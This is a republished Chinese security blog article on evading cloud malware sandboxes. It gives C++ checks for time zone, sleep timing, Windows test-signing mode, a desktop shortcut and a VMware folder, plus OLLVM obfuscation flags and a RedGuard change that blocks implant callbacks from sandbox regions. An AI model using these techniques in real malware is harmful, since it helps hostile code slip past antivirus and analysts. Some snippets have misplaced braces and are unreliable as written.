云沙箱对抗方法

admin 2025-12-25 03:06:21 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍了云沙箱对抗方法,包括针对国外沙箱通过检查时区和时间流速进行规避,国内沙箱则以微步为例,通过检测测试模式、虚拟机文件和桌面快捷方式等特征进行对抗。还介绍了使用LLVM混淆技术增强代码安全性,以及利用Redguard实现地域限制上线的方法,有效规避沙箱检测。 综合评分: 82 文章分类: 免杀,红队,安全开发,恶意软件,云安全


cover_image

云沙箱对抗方法

zyxa

众亦信安

2025年12月23日 11:20 湖南

声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。

众亦信安,中意你啊!

点不了吃亏,点不了上当,设置星标,方能无恙!

在一般的终端对抗中,我们常常会因为样本被上传到云沙箱后导致样本不再能够对抗AV/EDR,因此对云 沙箱的对抗也是非常重要的一个环节

对于云沙箱的对抗我作了以下分类

国外沙箱:

一般上了国外沙箱不过几天样本就会G了,对于国外沙箱的对抗方法很简单,一般国外沙箱的电脑时间 都不是北京时间,我们可以基于这个点来绕过国外沙箱上线的检测

TIME_ZONE_INFORMATION tzinfo;GetTimeZoneInformation(&tzinfo);// 计算时区偏移量(以分钟为单位)int tz_offset = tzinfo.Bias;// 将分钟转换为小时int tz_offset_hours = tz_offset / 60;if (tz_offset_hours == -8){return false;}

同时我们还可以判断当前时间流速

bool 时() {clock_t start = clock();Sleep(2300);clock_t end = clock();if (end - start > 2333) {return false;}return true;}

只需要简单的几步就可以防止国外云沙箱的检测

国内沙箱:

国内沙箱多种多样,这里以典型代表微步云沙箱作为列子: 这里的对抗给思路是基于微步沙箱的运行截图

bool isWindowsInTestMode() {char buffer[128];FILE* pipe;bool inTestMode = false;// 执行 bcdedit 命令pipe = _popen("bcdedit", "r");if (!pipe) {printf("无法执行 bcdedit 命令\n");return false;}}// 读取 bcdedit 输出while (fgets(buffer, sizeof(buffer), pipe) != NULL) {// 检查是否包含 "testsigning Yes"if (strstr(buffer, "testsigning") && strstr(buffer, "Yes")) {inTestMode = true;break;}}_pclose(pipe);return inTestMode;}

快捷方式:

bool isAcrobatReaderDCShortcutPresent() {char desktopPath[MAX_PATH];char shortcutPath[MAX_PATH];HRESULT hr;// 获取桌面路径hr = SHGetFolderPathA(NULL, CSIDL_DESKTOP, NULL, 0, desktopPath);if (hr != S_OK) {return false;}// 生成快捷方式完整路径snprintf(shortcutPath, MAX_PATH, "%s\\Adobe Acrobat Reader DC.lnk", desktopPath);}// 检查快捷方式是否存在if (GetFileAttributesA(shortcutPath) != INVALID_FILE_ATTRIBUTES) {return true;}else {return false;}}

实际效果:

样本报告-微步在线云沙箱 (threatbook.com)https://s.threatbook.com/report/file/28293f4bbbf62bb54c7cee2a4029931ed7f4d2b1c49b94ab13d08994581f0c87

当然这只是基于微步沙箱这一个特征: 我们还可以判断当前文件中是否存在虚拟机的相关文件,比如VMware虚拟机在C:\Program Files中有 vmware文件目录

bool isVMwareInstalled() {WIN32_FIND_DATAW findFileData;HANDLE hFind;// 构建搜索路径wchar_t path[MAX_PATH];swprintf(path, MAX_PATH, L"C:\\Program Files\\VMware");}// 搜索目录hFind = FindFirstFileW(path, &findFileData);if (hFind != INVALID_HANDLE_VALUE) {// 如果找到目录,则关闭搜索句柄并返回 trueFindClose(hFind);return true;} else {// 如果未找到目录,则返回 falsereturn false;}

llvm

首先,从以下 URL 下载 Obfuscator LLVM 并将 clang-cl.exe 可执行文件复制到目录中。

https://github.com/wwh1004/ollvm-16

创建 Visual Studio C++ 项目。在项目属性中,将平台工具集设置为 LLVM (clang-cl)。

clang-cl 可执行文件的位置包含在可执行目录中。

-mllvm -bcf -mllvm -bcf_prob=73 -mllvm -bcf_loop=1 -mllvm -sub -mllvm -sub_loop=5 -mllvm -fla -mllvm -split_num=5 -mllvm -aesSeed=1234BEEFDEAD1234DEADBEEFDEAD1234

效果:

老项目: https://github.com/obfuscator-llvm/obfuscator

实验参考:https://trustedsec.com/blog/behind-the-code-assessing-public-compile-time-obfuscato rs-for-enhanced-opsec

除此之外还有一种情况: 上述条件都不存在,云沙箱存在真机的特征: 这个时候我们可以禁止某些地域上线来达到对抗的效果: 常见的沙箱上线地址有:北京,重庆,上海,河南郑州 我们可以利用Redguard来实现禁止上线,同时redguard也可以避免jar3特征的识别,和空间测绘的狩 猎 原版的redguard他是只允许特定的地区上线,我们需要从代码上面修改一下

这里将readconfig的方法返回值改为数组

func ReadConfig2(section, key string, cfg *ini.File) []string {value := cfg.Section(section).Key(key).String()result := strings.Split(value, ",") // 使用逗号作为分隔符拆分字符串return result}

之后遍历每个值,返回false

if areArraysEqual(allowLocation, []string{" "}) {// @param   allowLocation   string  The territory that is allowed to go online// @param   ip              string  The IP address from which the request is madetime.Sleep(500 * time.Millisecond)for _, str := range allowLocation {if IPLookUp(str, ip) {logger.Errorf("[DROP] %s Does not meet the allowed online geographical restrictions", ip)return falsetime.Sleep(500 * time.Millisecond)}}}

之后我们只需要在配置文件中这样修改就可以了

沙箱特征有很多,我们只需要针对某些特定的特征对抗即可

预告:

🔥安全人私藏小圈|攻防 / 免杀 / 工具干货直达🔥

✅ 实时攻防思路拆解|免杀实操技巧拆解

✅ 独家工具分享 + 实战案例输出|拒绝空谈✅

同频大佬交流| 资源互享限免名额速冲!

进圈解锁硬核安全干货,一起进阶大神~

往这里看

点点关注不迷路,不定时持续分享各种干货。可关注公众号回复”进群”,也可添加管理微信拉你入群。

项目交流,src/众测挖掘,重大节日保障,攻防均可联系海哥微信


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:众亦信安 zyxa《云沙箱对抗方法》

评论:0   参与:  3